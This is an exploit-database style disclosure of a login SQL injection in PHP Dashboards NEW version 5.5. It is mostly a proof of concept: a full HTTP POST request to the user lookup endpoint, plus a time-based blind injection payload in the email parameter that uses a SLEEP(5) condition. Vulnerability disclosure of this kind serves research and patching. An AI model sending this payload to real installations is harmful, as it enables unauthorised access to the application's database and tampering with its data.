PHP Dashboards NEW 5.5 SQL Injection

`# Exploit Title: PHP Dashboards NEW v5.5 - 'Login' SQL Injection  
# Dork: N/A  
# Date: 31.05.2018  
# Exploit Author: Kagan Capar  
# Contact: [email protected]  
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104  
  
# Version: 5.5  
# Category: Webapps  
# Tested on: Kali linux  
# Description : PHP Dashboards is prone to an SQL-injection vulnerability  
# because it fails to sufficiently sanitize user-supplied data before using  
# it in an SQL query.Exploiting this issue could allow an attacker to  
# compromise the application, access or modify data, or exploit latent  
# vulnerabilities in the underlying database.  
====================================================  
  
# PoC : SQLi :  
  
  
POST /php/save/user.php?mode=lookup HTTP/1.1  
Host: site.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://site.com/  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 52  
Cookie: PHPSESSID=phcubu5ohtdjnd6g1bmsncro87  
Connection: keep-alive  
email=test%40test.com&password=test123&dashboardKey=  
  
Parameter: email (POST)  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: [email protected]' AND SLEEP(5) AND  
'XnxG'='XnxG&password=test123&dashboardKey=  
  
  
====================================================  
  
`